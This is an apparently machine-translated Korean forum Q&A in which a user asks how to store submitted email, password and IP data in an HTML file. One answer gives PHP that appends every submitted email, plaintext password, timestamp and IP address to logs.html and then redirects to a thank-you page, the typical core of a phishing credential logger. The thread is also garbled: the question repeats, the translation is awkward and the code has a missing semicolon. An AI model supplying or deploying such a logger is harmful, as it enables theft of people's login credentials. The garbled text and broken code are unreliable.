이것은 내 PHP 파일입니다. 어떻게이 데이터를 HTML 파일에 저장합니까?html로 파일을 저장하는 방법
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('d.m.Y');
$time = date('H:i:s A');
?>
이것은 내 PHP 파일입니다. 어떻게이 데이터를 HTML 파일에 저장합니까?html로 파일을 저장하는 방법
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('d.m.Y');
$time = date('H:i:s A');
?>
입니다!
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('d.m.Y');
$time = date('H:i:s A');
$file = "logs.html"
$fp = fopen($file, 'a');
fwrite($fp, '
<div>
<b>E-Mail: </b>' .$email. '<br>
<b>Password: </b>' .$pass. '<br>
<b>Date: </b>' .$date. '<br>
<b>Time: </b>' .$time. '<br>
<b>IP: </b>' .$ip. '<br><br><br>
</div>
');
fclose($fp);
header("Location: thanks.php");
?>
내가 희망은 도움이!
HTML의 내용을 출력하려면 단순히 <p><?=$email;?></p>
을 입력하십시오. 이제 POST 변수 입력을 먼저 사용하기 전에 유효성을 검사하려고합니다. 또한 게시물을 이메일로 설정 했으므로 <?php echo $email ?>
을 사용할 수 있습니다. 첫 번째 방법은 짧은 손입니다.
것은 당신이 위의에서 HTML 파일을 만드는 방법을 요구하는 경우 기본적으로
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('d.m.Y');
$time = date('H:i:s A');
?>
<html>
<body>
My Email is: <?php echo $email ?><br />
My Pass is: <?php echo $pass ?><br />
<!-- And so on ... -->
</body>
</html>
, 당신은 당신의 블록 외부에서 일반 HTML 마크 업을 포함 할 것, 그리고 모든 곳에서 당신은 참조 할 변수는 다음과 같이 사용하십시오.
<?php echo $var ?>
여기서 $ var는 PHP 변수의 이름입니다.
HTML 내에서 템플릿 시스템으로 생각하십시오.
PHP 변수를 .html 파일에 직접 입력 할 수 없습니다. 당신은 그냥 .php
로 이름을 바꾸고 변수를 직접 넣거나 나뭇 가지와 같은 일종의 템플릿 시스템을 사용해야합니다. 그함으로써
나는 이런 식으로 뭔가 할 말은 : 이것은 당신의 대답은
index.php
<html>
<body>
<?php echo $_POST['email'] ?>
<?php echo $_POST['pass'] ?>
... etc
</body>
</html>
질문을 명확하게 할 수 있습니다. 그냥 echo하고 싶다면 echo를 사용하십시오. – kennypu
그리고 당신이 잘못 표현한 방식으로, 당신은 저장하고 싶지 않다! – GAD
예, 죄송합니다. 감사합니다. – GAD